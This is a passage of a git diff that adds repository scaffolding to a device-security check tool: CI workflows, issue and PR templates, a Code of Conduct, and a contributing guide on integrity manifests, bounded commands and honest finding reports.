diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..3108da9 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,39 @@ +# Line endings must be identical on every platform, because this repository +# ships a SHA-256 manifest of its own source files and verifies it at launch. +# +# Without this, git on Windows converts LF to CRLF on checkout. Every byte of +# every .py file changes, so every hash changes, and `verify_package_integrity` +# reports the entire `rescue/` package as tampered — on a clean checkout, with +# nothing wrong. CI surfaced exactly that: the Windows job printed "modified:" +# for all 56 manifest entries. +# +# The wrong fix would be to normalise line endings before hashing. That would +# weaken the check for everyone in order to accommodate a checkout setting: a +# tamper check that ignores a class of byte difference is a tamper check with a +# hole in it. Making the checkout byte-identical instead keeps the hash exact. +# +# A user who gets a tamper warning on every launch learns to ignore the one +# signal that would tell them their install had been modified, which is worse +# than having no check at all. + +* text=auto eol=lf + +# Binary and already-compressed formats: never touched. +*.png binary +*.jpg binary +*.jpeg binary +*.gif binary +*.ico binary +*.icns binary +*.pdf binary +*.zip binary +*.gz binary +*.dmg binary +*.exe binary +*.dll binary + +# Windows-only scripts genuinely need CRLF: cmd.exe mis-parses LF batch files. +# These are not covered by the integrity manifest (it hashes rescue/**/*.py). +*.bat text eol=crlf +*.cmd text eol=crlf +*.ps1 text eol=crlf diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 0000000..6da455a --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,14 @@ +# Default owner for everything in this repository. +* @lizTheDeveloper + +# The safety boundary of the whole product lives in these files: the read-only +# default, the guidance-vs-mutation split, self-integrity, and the content-update +# trust root. Changes here need the same review as changes to the trust config, +# so they are called out explicitly rather than relying on the catch-all above. +/rescue/module_base.py @lizTheDeveloper +/rescue/models.py @lizTheDeveloper +/rescue/security/ @lizTheDeveloper +/rescue/update/ @lizTheDeveloper +/rescue/runtime.py @lizTheDeveloper +/SECURITY.md @lizTheDeveloper +/.github/workflows/ @lizTheDeveloper diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..58919db --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,125 @@ +name: Bug report +description: The tool crashed, hung, printed something wrong, or did not do what it said. +title: "[bug] " +labels: ["bug"] +body: + - type: markdown + attributes: + value: | + Before filing: if the bug is that a **check reported a healthy result + when it should not have**, that is a security bug in this project — see + [SECURITY.md](https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/SECURITY.md) + and report it privately instead. + + If the bug is a **wrong finding** (reported a problem that is not real, + or missed one that is), use the "False positive / false negative" + template instead — it asks for the right things. + + Issues are public. Redact anything you would not post on a forum. + `rescue export` redacts credentials, tokens, email addresses, your + username, and your home path, but module output is free text — read the + file before pasting from it. + + - type: textarea + id: what-happened + attributes: + label: What happened + description: What you expected, and what you got instead. + validations: + required: true + + - type: textarea + id: reproduce + attributes: + label: How to reproduce + description: The exact command you ran and the output, trimmed and redacted. + placeholder: | + $ rescue run some_module --yes + ... + render: shell + validations: + required: true + + - type: input + id: version + attributes: + label: Version + description: Output of `rescue version`. + placeholder: multiverse-device-rescue 0.1.0 + validations: + required: true + + - type: dropdown + id: os + attributes: + label: Operating system + options: + - macOS (Apple Silicon) + - macOS (Intel) + - Windows + - Linux + - Other / more than one + validations: + required: true + + - type: input + id: os-version + attributes: + label: OS version + placeholder: "macOS 15.2 / Windows 11 23H2 / Ubuntu 24.04" + validations: + required: true + + - type: dropdown + id: python + attributes: + label: Python version + options: + - "3.11" + - "3.12" + - "3.13" + - "Not applicable (desktop app or PyInstaller binary)" + validations: + required: true + + - type: dropdown + id: install + attributes: + label: How it was installed + options: + - Source checkout (running from the repo) + - pip install . + - pip install -e ".[dev]" + - PyInstaller binary + - Desktop app + validations: + required: true + + - type: textarea + id: integrity + attributes: + label: Integrity check output + description: >- + Did launching the tool print "WARNING: rescue's own installed files do + not match the expected integrity manifest"? If so, paste it. If not, say + so — it rules out a modified install. + validations: + required: false + + - type: textarea + id: traceback + attributes: + label: Traceback or error output + render: shell + validations: + required: false + + - type: checkboxes + id: confirm + attributes: + label: Before submitting + options: + - label: I redacted anything sensitive in the output above. + required: true + - label: This is not a security vulnerability (those go through the private advisory form). + required: true diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..0b84735 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,13 @@ +blank_issues_enabled: false +contact_links: + - name: Report a security vulnerability (private) + url: https://github.com/lizTheDeveloper/multiverse-device-rescue/security/advisories/new + about: >- + Do not open a public issue for a security flaw. This includes a check that + reports a healthy result when it should not. See SECURITY.md. + - name: Documentation + url: https://lizthedeveloper.github.io/multiverse-device-rescue/ + about: Command reference, module catalog, and guides. + - name: What is and is not finished + url: https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/docs/ROADMAP_STATUS.md + about: Read this before filing "X is missing" — several gaps are already documented. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..a8951b7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,80 @@ +name: Feature request +description: Something the tool should do that is not a new module. +title: "[feature] " +labels: ["enhancement"] +body: + - type: markdown + attributes: + value: | + For a new **check**, use the "New module proposal" template instead. + + Please skim + [docs/ROADMAP.md](https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/docs/ROADMAP.md) + and + [docs/ROADMAP_STATUS.md](https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/docs/ROADMAP_STATUS.md) + first. Several known gaps — sandboxed module discovery, real signing + keys, signed release artifacts, per-call command bounding — are already + written down with reasons. Adding detail to one of those is more useful + than a new issue restating it. + + - type: textarea + id: problem + attributes: + label: The problem + description: >- + What you were trying to do, and where the tool got in the way. Describe + the situation, not the solution. + validations: + required: true + + - type: textarea + id: proposal + attributes: + label: What you would like it to do + validations: + required: true + + - type: dropdown + id: area + attributes: + label: Which part of the tool + options: + - CLI + - TUI + - Profiles / guides + - JSON output or case export + - Update and trust (signed content) + - AI layer (opt-in) + - Desktop app + - Packaging / distribution + - Documentation + - Other + validations: + required: true + + - type: textarea + id: alternatives + attributes: + label: What you tried instead + description: Existing commands, flags, or workarounds, and why they were not enough. + validations: + required: false + + - type: textarea + id: safety + attributes: + label: Safety implications + description: >- + Would this make the tool change more of the system, run more code, + reach the network, or reduce how much the user confirms? Say so plainly + — it is not a reason to reject the idea, it is a reason to design it + carefully. + validations: + required: false + + - type: checkboxes + id: offer + attributes: + label: Are you offering to build it + options: + - label: I intend to open a PR for this. diff --git a/.github/ISSUE_TEMPLATE/finding_accuracy.yml b/.github/ISSUE_TEMPLATE/finding_accuracy.yml new file mode 100644 index 0000000..8086be5 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/finding_accuracy.yml @@ -0,0 +1,108 @@ +name: False positive / false negative +description: A check reported something that is not true, or missed something that is. +title: "[finding] " +labels: ["finding-accuracy"] +body: + - type: markdown + attributes: + value: | + This is the most valuable kind of report this project gets. Every + finding is something a person may act on — freezing credit, wiping a + machine, confronting someone — and every missed finding is someone + walking away believing a device is clean. + + **If a check reported "No issues found" on a machine where the + condition it detects is genuinely present, that is a security bug.** + Report it privately through the + [security advisory form](https://github.com/lizTheDeveloper/multiverse-device-rescue/security/advisories/new) + instead of here, especially if it is reproducible or generalises beyond + your machine. Use this template for accuracy problems that are safe to + discuss in public. + + Issues are public. Redact hostnames, usernames, paths, serial numbers, + and anything else identifying. + + - type: dropdown + id: kind + attributes: + label: Which is it + options: + - False positive — reported a problem that is not real + - False negative — missed a problem that is real + - Misleading — technically true, but the description leads to the wrong conclusion + - Wrong severity + validations: + required: true + + - type: input + id: module + attributes: + label: Module name + description: The name in the `=== module_name ===` header, or the `name` field in JSON. + placeholder: linux_ssh_hardening + validations: + required: true + + - type: input + id: code + attributes: + label: Finding code + description: >- + The `code` field from `rescue scan --json`, if the finding has one. + Looks like `category.module.slug`. + placeholder: security.linux_ssh_hardening.password_auth_enabled + validations: + required: false + + - type: textarea + id: reported + attributes: + label: What the tool reported + description: Paste the finding, redacted. `rescue scan --json` output is ideal. + render: json + validations: + required: true + + - type: textarea + id: truth + attributes: + label: What is actually true, and how you know + description: >- + The evidence that contradicts the finding — the real setting, the real + command output, the vendor documentation. This is the part that lets a + maintainer write a failing test. + validations: + required: true + + - type: textarea + id: system + attributes: + label: System context + description: >- + OS and version, hardware where relevant, and anything unusual about this + machine — managed by an employer, non-default security software, + unusual filesystem layout, a distro or shell that is not the common case. + validations: + required: true + + - type: textarea + id: consequence + attributes: + label: What acting on this finding would have caused + description: >- + Optional but useful for prioritising. "I would have reinstalled the OS" + and "I would have ignored a real problem" are different severities. + validations: + required: false + + - type: checkboxes + id: confirm + attributes: + label: Before submitting + options: + - label: I redacted hostnames, usernames, paths, and anything else identifying. + required: true + - label: >- + This is not a reproducible false-healthy result that would generalise to other + machines (those go through the private security advisory form). + required: true diff --git a/.github/ISSUE_TEMPLATE/new_module.yml b/.github/ISSUE_TEMPLATE/new_module.yml new file mode 100644 index 0000000..3d3c6a7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/new_module.yml @@ -0,0 +1,117 @@ +name: New module proposal +description: Propose a new check for something the tool does not look at yet. +title: "[module] " +labels: ["new-module"] +body: + - type: markdown + attributes: + value: | + A module is one directory — `modules///__init__.py` — + exporting a class named `Module`. See + [CONTRIBUTING.md](https://github.com/lizTheDeveloper/multiverse-device-rescue/blob/main/CONTRIBUTING.md#writing-a-module) + for the authoring rules. + + Before filing, check that it does not already exist: + `python -m rescue.cli validate` lists the count, and + `ls modules/*/` shows every name. There are 287 of them. + + - type: input + id: name + attributes: + label: Proposed module name + description: lowercase_with_underscores, unique across the whole registry. + placeholder: linux_kernel_module_audit + validations: + required: true + + - type: dropdown + id: category + attributes: + label: Category + options: [security, integrity, performance, network, bloatware] + validations: + required: true + + - type: checkboxes + id: platforms + attributes: + label: Platforms it would support + options: + - label: macOS + - label: Windows + - label: Linux + + - type: textarea + id: what + attributes: + label: What it checks, and why it matters + description: >- + What condition on the machine it detects, and what goes wrong for a + person when that condition is present and nobody notices. + validations: + required: true + + - type: textarea + id: how + attributes: + label: How it would detect it + description: >- + The command, file, or API it would read, per platform. Note anything + that needs elevated privileges, and what the module should do when it + does not have them (report `supported=False` — never an empty healthy + result). + placeholder: | + Linux: `sshd -T` (falls back to parsing /etc/ssh/sshd_config when not root) + macOS: ... + validations: + required: true + + - type: textarea + id: false-positives + attributes: + label: How it would be wrong + description: >- + The legitimate configurations that would trip it, and how the module + avoids alarming someone whose setup is merely unusual. A check that + cries wolf is worse than no check. + validations: + required: true + + - type: textarea + id: remediation + attributes: + label: Remediation + description: >- + What the user does about a finding. Is that guidance (a step they + perform) or a mutation the tool could perform? If a mutation — is it + idempotent, low-impact, and reversible? + validations: + required: true + + - type: textarea + id: codes + attributes: + label: Proposed finding codes + description: "One per line, as `category.module_name.slug`." + placeholder: | + security.linux_kernel_module_audit.unsigned_module_loaded + security.linux_kernel_module_audit.module_signing_disabled + validations: + required: false + + - type: textarea + id: testing + attributes: + label: How it would be tested + description: >- + Tests must not depend on the host machine. Which paths or commands + become class attributes so a test can point them at a fixture tree? + validations: + required: false + + - type: checkboxes + id: offer + attributes: + label: Are you offering to write it + options: + - label: I intend to open a PR for this. diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..e53f0f2 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,70 @@ +# What this changes + + + +Closes # + +## Type of change + +- [ ] Bug fix +- [ ] New module +- [ ] New or changed profile / guide +- [ ] Engine change (anything under `rescue/`) +- [ ] Documentation +- [ ] Tests or CI only + +## Test plan + + + +```console +$ .venv/bin/python -m pytest -q +... + +$ .venv/bin/python -m rescue.cli validate +... +``` + +Manual verification (which OS, which command, what you observed): + + + +## Checklist + +- [ ] `.venv/bin/python -m pytest -q` passes +- [ ] `.venv/bin/python -m rescue.cli validate` exits 0 (**0 errors**) +- [ ] `.venv/bin/ruff check .` is clean +- [ ] **Integrity manifest:** if any file under `rescue/` was added, changed, + deleted, or renamed, I ran `python scripts/generate_integrity_manifest.py` + and committed `rescue/security/integrity_manifest.json`. *(CI regenerates + it and fails on any diff. A stale manifest makes every launch print a + tamper warning.)* +- [ ] Not applicable — nothing under `rescue/` changed + +## Safety review + +Tick everything that applies to the code in this PR, or mark not applicable. + +- [ ] Every mutation is confirmed by the user, or gated behind `--yes` +- [ ] Instructional actions use `ActionKind.GUIDANCE` and are never reported as + completed changes +- [ ] Checks that cannot run return `supported=False` with a reason, or set + `error` — never an empty healthy result +- [ ] No new module sets `auto_apply = True` +- [ ] External commands go through `rescue.command.run`; filesystem recursion + goes through `rescue.fsbounds.bounded_walk` +- [ ] Traversal roots and command paths are class attributes so tests can point + them at a fixture tree +- [ ] Nothing new reaches the network outside the opt-in AI layer and + `rescue update` +- [ ] Nothing prompts for a password, one-time code, recovery key, or API token +- [ ] `emits_codes` matches the `code=` literals in the module +- [ ] Not applicable + +## Anything a reviewer should look at closely + + diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml new file mode 100644 index 0000000..bb0f38f --- /dev/null +++ b/.github/workflows/docs.yml @@ -0,0 +1,64 @@ +name: docs + +on: + push: + branches: [main] + paths: + - 'docs/**' + - 'mkdocs.yml' + - 'modules/**' + - 'profiles/**' + - 'guides/**' + - 'scripts/generate_module_catalog.py' + - '.github/workflows/docs.yml' + pull_request: + paths: + - 'docs/**' + - 'mkdocs.yml' + - 'scripts/generate_module_catalog.py' + - '.github/workflows/docs.yml' + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: docs-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + name: build site + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + - run: python -m pip install --upgrade pip && python -m pip install -e ".[docs]" + # The module catalog page is generated from the registry, so it can never + # drift from what the tool actually ships. + - name: Generate the module catalog + run: python scripts/generate_module_catalog.py --check + - name: Build (warnings are errors — a dead link is a broken doc) + run: mkdocs build --strict + - uses: actions/upload-pages-artifact@v3 + if: github.ref == 'refs/heads/main' && github.event_name != 'pull_request' + with: + path: site_build + + deploy: + name: deploy to GitHub Pages + if: github.ref == 'refs/heads/main' && github.event_name != 'pull_request' + needs: build + runs-on: ubuntu-latest + permissions: + pages: write + id-token: write + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - id: deployment + uses: actions/deploy-pages@v4 diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 0000000..93e9aa6 --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,145 @@ +name: tests + +on: + push: + branches: [main] + pull_request: + workflow_dispatch: + +concurrency: + group: tests-${{ github.ref }} + cancel-in-progress: true + +jobs: + # The largest defect ever found in this tree was code that did not even parse + # on the declared minimum Python (PEP 701 f-strings) plus 30 call sites using + # a keyword that only exists in 3.13. Both shipped because nothing compiled + # the tree on 3.11. This job is deliberately first and deliberately cheap. + syntax-floor: + name: parses on the declared minimum Python + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + - name: Byte-compile every shipped Python file + run: python -m compileall -q rescue modules scripts + + test: + name: pytest ${{ matrix.python-version }} / ${{ matrix.os }} + needs: syntax-floor + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: ['3.11', '3.12', '3.13'] + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + cache: pip + - name: Install + run: | + python -m pip install --upgrade pip + python -m pip install -e ".[dev]" + # No --maxfail: a truncated failure list turns getting a platform green + # into one round trip per twenty failures. The suite takes minutes, and + # seeing all of it at once is worth them. + - name: Run the suite + run: python -m pytest -q + env: + # Tests must never reach the network or an uncontrolled home + # directory; anything that does is environment coupling, which is + # what made this suite pass on exactly one developer's machine. + RESCUE_TEST_MODE: '1' + + lint: + name: lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + - run: python -m pip install --upgrade pip && python -m pip install ruff + # Rule selection lives in ruff.toml and is deliberately narrow: defects, + # not untidiness. See the reasoning in that file. + - name: ruff check + run: ruff check . + + integrity: + name: integrity manifest is current + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + - run: python -m pip install --upgrade pip && python -m pip install -e ".[dev]" + # A stale manifest is worse than none: it prints a tamper warning on + # every launch, which trains users to ignore the one signal that would + # tell them their install was modified. + - name: Regenerate and diff + run: | + python scripts/generate_integrity_manifest.py + git diff --exit-code -- rescue/security/integrity_manifest.json \ + || { echo "::error::integrity manifest is stale — run 'python scripts/generate_integrity_manifest.py' and commit the result"; exit 1; } + + content: + name: registry + shipped content validation + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + - run: python -m pip install --upgrade pip && python -m pip install -e ".[dev]" + # Unique module names, resolvable dependencies, no cycles, declared + # platforms, and every profile/guide reference resolving to a real + # module. Roadmap P1#3. + # + # Errors gate; warnings do not, yet. The one outstanding warning is that + # 264 of 287 modules carry no docstring. That is a real backlog worth + # closing, but failing every pull request on it would make the check + # something people route around instead of something they trust. Once + # `rescue validate --strict` passes locally, add --strict here and it + # stays passing. + - name: rescue validate + run: python -m rescue.cli validate + + package: + name: clean install discovers its own content + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.11' + # Modules, profiles, and guides live outside the Python package and are + # shipped as data_files. A `pip install .` that silently omits them + # produces a tool that discovers nothing — this is roadmap P0#1, and it + # is only caught by installing into a clean environment and running from + # somewhere other than the source tree. + - name: Install from source into a clean venv and run outside the tree + shell: bash + run: | + set -euo pipefail + python -m venv "$RUNNER_TEMP/venv" + if [ -d "$RUNNER_TEMP/venv/Scripts" ]; then BIN="$RUNNER_TEMP/venv/Scripts"; else BIN="$RUNNER_TEMP/venv/bin"; fi + "$BIN/python" -m pip install --upgrade pip + "$BIN/python" -m pip install . + cd "$RUNNER_TEMP" + "$BIN/rescue" version + "$BIN/rescue" profiles | tee profiles.txt + grep -q digital_security_reset profiles.txt + "$BIN/rescue" run disk_space --yes diff --git a/.gitignore b/.gitignore index acc90fc..13e1bf9 100644 --- a/.gitignore +++ b/.gitignore @@ -66,6 +66,10 @@ instance/ # Sphinx documentation docs/_build/ +# MkDocs build output. NOT `site/` — that directory is the checked-in marketing +# landing page; the documentation site builds to `site_build/` (see mkdocs.yml). +site_build/ + # PyBuilder target/ diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..9787f37 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,95 @@ +# Code of Conduct + +## Why this project has one + +People show up here because something went wrong. Someone read their messages. +Someone drained an account. Someone's ex installed something on their phone. +Contributors are often the same people, or people helping them. That is the +context every interaction in this repository happens in, and it is why the +standard below is not a formality. + +## Our pledge + +We pledge to make participation in this project a harassment-free experience for +everyone, regardless of age, body size, visible or invisible disability, +ethnicity, sex characteristics, gender identity and expression, level of +experience, education, socio-economic status, nationality, personal appearance, +race, caste, colour, religion, or sexual identity and orientation. + +## Standards + +Behaviour that builds this project: + +- Assume the person reporting a problem is describing something real, even when + the report is incomplete or the terminology is wrong. +- Explain the technical thing without making the person feel stupid for not + already knowing it. +- Give feedback on the code. "This check returns healthy when the file is + missing" is a review. "Did you even test this" is not. +- Say what you actually verified, and say plainly when you did not verify + something. Overclaiming in a security tool is a harm, not a style problem. +- Accept correction gracefully. Everyone here has shipped a wrong assumption. + +Behaviour that is not acceptable: + +- Sexualised language or imagery, and sexual attention or advances of any kind. +- Trolling, insults, derogatory comments, and personal or political attacks. +- Public or private harassment. +- Publishing others' private information — physical address, email, employer, + handles — without explicit permission. This includes information that arrives + in a bug report or a pasted log. +- Dismissing or mocking someone's account of being surveilled, stalked, or + harassed. Both "you're being paranoid" and "you're definitely hacked" are + failures; the honest answer is usually "here is what we can and cannot tell + from this device". +- Using this project, its issue tracker, or its modules to help someone monitor, + locate, or control another person against their will. +- Other conduct which could reasonably be considered inappropriate in a + professional setting. + +## Handling sensitive reports + +Issues in this repository are public. If you are reporting something that +requires details about your own device, accounts, or situation: + +- Redact before you paste. `rescue export` redacts credentials, tokens, email + addresses, your username, and your home path automatically, but module output + is free text — read the file before sharing it. +- If you cannot describe the problem without exposing yourself, do not force it + into a public issue. Use the private security advisory form linked in + [SECURITY.md](SECURITY.md), which works for sensitive non-security reports too. +- Maintainers will not ask you for passwords, one-time codes, or recovery keys. + Nobody legitimately needs those to help you debug this tool. Neither does the + tool itself. + +## Scope + +This Code of Conduct applies in all project spaces — the repository, issues, +pull requests, discussions, and commit messages — and when an individual is +representing the project in public. + +## Enforcement + +Report unacceptable behaviour to the maintainers privately, through the security +advisory form linked in [SECURITY.md](SECURITY.md), or by contacting the +repository owner directly on GitHub +([@lizTheDeveloper](https://github.com/lizTheDeveloper)). + +All complaints will be reviewed and investigated promptly and fairly. +Maintainers are obligated to respect the privacy and security of the reporter. + +Maintainers may take any action they judge appropriate, including: a private +warning; editing or removing comments, commits, code, issues, and other +contributions; a temporary ban from interaction; or a permanent ban from any +sort of public interaction within the project. + +Maintainers who do not follow or enforce this Code of Conduct in good faith may +face temporary or permanent repercussions as determined by other members of the +project's leadership. + +## Attribution + +Adapted from the [Contributor Covenant](https://www.contributor-covenant.org), +version 2.1, available at +, with +project-specific sections added for the situations this tool is used in. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..cdbd871 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,262 @@ +# Contributing + +Thanks for wanting to work on this. This document is the short version of what +CI enforces and what reviewers look for. + +Please read [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) first. This project gets +used by people in genuinely bad situations, and that shapes how we talk to each +other and to them. + +## Development setup + +Python 3.11, 3.12, or 3.13. + +```bash +git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git +cd multiverse-device-rescue +python -m venv .venv +.venv/bin/python -m pip install -e ".[dev]" +``` + +Optional extras: `.[ai]` for the opt-in AI providers. Nothing in the core needs +them. + +Run the CLI from the checkout without installing a console script: + +```bash +.venv/bin/python -m rescue.cli --help +``` + +## The four checks before you push + +CI runs all of these (`.github/workflows/tests.yml`). Running them locally first +saves a round trip. + +### 1. Tests + +```bash +.venv/bin/python -m pytest -q +``` + +The suite is large (takes a few minutes) and must be **deterministic**. A test +that passes on your machine and fails on a fresh one is a bug in the test, not +in CI. The historical failure mode here was environment coupling: modules that +short-circuit when a real path under `~/Library` is absent, a fixture with +absolute dates that aged into a warning, an assertion on a hardcoded uid. + +The convention that prevents it: **a module's traversal roots are class +attributes**, so a test can point them at a fixture tree. + +```python +class Module(ModuleBase): + name = "example_check" + SEARCH_ROOTS = [Path.home() / ".config"] # overridable in tests + + def check(self, profile): + for path in bounded_walk(self.SEARCH_ROOTS, ...): + ... +``` + +```python +def test_flags_the_thing(tmp_path): + mod = Module() + mod.SEARCH_ROOTS = [tmp_path] # no dependence on the host +``` + +Tests must not reach the network or an uncontrolled home directory. CI sets +`RESCUE_TEST_MODE=1`. + +Run a single file while iterating: + +```bash +.venv/bin/python -m pytest -q tests/test_module_disk_space.py +``` + +The suite should be fully green. If you see a failure you did not cause, say so +in the pull request rather than working around it. + +### 2. Catalog validation + +```bash +.venv/bin/python -m rescue.cli validate +``` + +Errors mean the shipped catalog is internally broken: duplicate module names, a +profile naming a module that does not exist, a dependency cycle, `auto_apply` on +a non-SAFE module, a guide advertising a step as automatable that no module can +perform. Errors must be zero, and this is what CI gates on. + +`rescue validate --strict` also promotes warnings to failures. It fails today on +a single warning: 264 of 287 modules have no docstring. If you are adding a +module, give it a file-level docstring and you will not make that worse; paying +down the existing ones is welcome as its own pull request, and once the count +reaches zero `--strict` can go back into CI. + +One thing to know if you are adding finding codes: `emits_codes` must match the +`code="..."` literals in your source exactly, and the literal has to be at the +call site. Building a code with an f-string, or picking it with a conditional +expression inside `Finding(...)`, makes it invisible to +`tests/test_module_code_consistency.py` and to the remediation catalog that test +protects. + +### 3. Lint + +```bash +.venv/bin/ruff check . +``` + +The rule set in `ruff.toml` is deliberately narrow — defects, not untidiness +(syntax errors, undefined names, redefinitions, comparison mistakes that change +meaning). Read the comment at the top of that file before proposing to widen it. + +### 4. Integrity manifest + +**Required whenever you change any file under `rescue/`.** The manifest is a +SHA-256 hash of every `.py` file in the package; if it is stale, every launch +prints a tamper warning, which trains users to ignore the one signal that would +tell them their install was modified. + +```bash +.venv/bin/python scripts/generate_integrity_manifest.py +git add rescue/security/integrity_manifest.json +``` + +CI regenerates it and fails if `git diff --exit-code` on that file is non-empty. +This includes adding, deleting, or renaming a file under `rescue/` — deletions +and additions both fail the check. + +Changes under `modules/`, `profiles/`, `guides/`, `docs/`, or `tests/` do **not** +require regeneration; the manifest deliberately covers only `rescue/**/*.py`. + +## Writing a module + +A module is one directory: `modules///__init__.py`, exporting a +class called `Module` that subclasses `ModuleBase`. Data files it needs go in +`modules///data/*.json`. Categories are `security`, `integrity`, +`performance`, `network`, `bloatware`. + +```python +"""One paragraph on what this checks and why it matters. + +A second paragraph on the decisions that shaped it — why this data source +and not the obvious one, what changes the severity. `rescue validate` requires +a docstring; reviewers require it to be worth reading. +""" + +from rescue.command import run +from rescue.models import ( + Action, ActionKind, CheckResult, Finding, FixResult, + Mode, Platform, RiskLevel, Severity, SystemProfile, +) +from rescue.module_base import ModuleBase + + +class Module(ModuleBase): + name = "example_check" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + estimated_duration = "2s" + emits_codes = ["security.example_check.thing_is_wrong"] + + def check(self, profile: SystemProfile) -> CheckResult: + result = run(["some", "command"], timeout=5) + if not result.ok: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason="`some command` is not available here", + ) + ... + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + ... +``` + +### Rules + +**Bounded commands.** Use `rescue.command.run` (`rescue/command.py`), not +`subprocess.run` directly. It enforces a timeout (20s default) and an output cap +(5 MiB), and returns a `CommandResult` instead of raising. A large migration of +existing modules is outstanding, but new code must not add to the backlog. + +**Bounded traversal.** Use `rescue.fsbounds.bounded_walk` for anything that +recurses. An unbounded walk of a real home directory stalls a rescue session on +the machines where it matters most. Use `is_file_nofollow` / `is_dir_nofollow` +from the same module rather than `Path.is_file(follow_symlinks=False)`, which +only exists on Python 3.13 and raises `TypeError` on 3.11. + +**Guidance is not mutation.** This is the rule the product depends on. + +- An `Action` that tells the user to do something is `ActionKind.GUIDANCE`. It + renders as `MANUAL ACTION REQUIRED` and is excluded from + `FixResult.executed_mutations` no matter what `executed`/`success` you set. +- An `Action` that changed the system is `ActionKind.MUTATION` with + `executed=True` and an honest `success`. +- Never mark an instruction successful. "Told the user to enable the firewall" + is not "enabled the firewall". + +**Never report unsupported as healthy.** If a check cannot run — wrong platform +variant, missing permission, absent tool — return +`CheckResult(supported=False, unsupported_reason=...)` or set `error`. Returning +an empty `findings` list says "this machine is fine", which is the worst thing +this tool can say incorrectly. + +**Do not opt into `auto_apply`.** It defaults `False` and no shipped module sets +it `True`. Turning it on requires a fix that is idempotent, low-impact, +reversible, `RiskLevel.SAFE`, and a reviewer who agrees on all four. + +**Declare `emits_codes`.** Every `code=` string a `Finding` can carry must be +listed in `emits_codes`, and vice versa — +`tests/test_module_code_consistency.py` enforces the match. Codes follow +`..` and are what links a finding to a walkthrough in +`guides/remediation/`. + +**Never ask for a secret.** No password prompts, no 2FA codes, no recovery keys, +no API tokens. If the remediation requires one, it belongs in a guide step the +human does at the provider. + +**Write findings for the person reading them.** Severity, a title that says what +is wrong, and a description that explains why it matters and what it does not +prove. Look at `modules/security/linux_ssh_hardening/__init__.py` for the tone. + +### Adding a profile or guide + +- Profiles are `profiles/.yaml`. Every module they include, exclude, or + configure must exist, and every guide set they name must have phases on disk. +- Guides are `guides//phase_N.md` with YAML front matter. A step may + only appear in `automatable_steps` if a registered module can perform it. +- Remediation walkthroughs are `guides/remediation/.md` with a + `remediates:` list of finding codes. One that names a code no module emits is + dead content and validation warns about it. +- `rescue validate` checks all of the above. + +## Pull requests + +- Branch from `main`. One logical change per PR; a mechanical sweep and a + behaviour change should not share a diff. +- Every behaviour change comes with a test. For a bug fix, a test that fails + before the fix. +- Fill in the PR template, including the test plan — say what you ran and what + it printed, not "tested locally". + +Checklist (also in the template): + +- [ ] `.venv/bin/python -m pytest -q` passes +- [ ] `.venv/bin/python -m rescue.cli validate` exits 0 (**0 errors**) +- [ ] `.venv/bin/ruff check .` is clean +- [ ] If any file under `rescue/` changed: ran + `python scripts/generate_integrity_manifest.py` and committed the result +- [ ] New/changed modules use `rescue.command.run` and bounded traversal +- [ ] Guidance actions are `ActionKind.GUIDANCE`; nothing instructional is + reported as a completed change +- [ ] Unsupported and failed checks do not read as healthy +- [ ] No new module sets `auto_apply = True` +- [ ] Docs updated if behaviour or commands changed + +## Reporting things + +- Bugs, false positives, 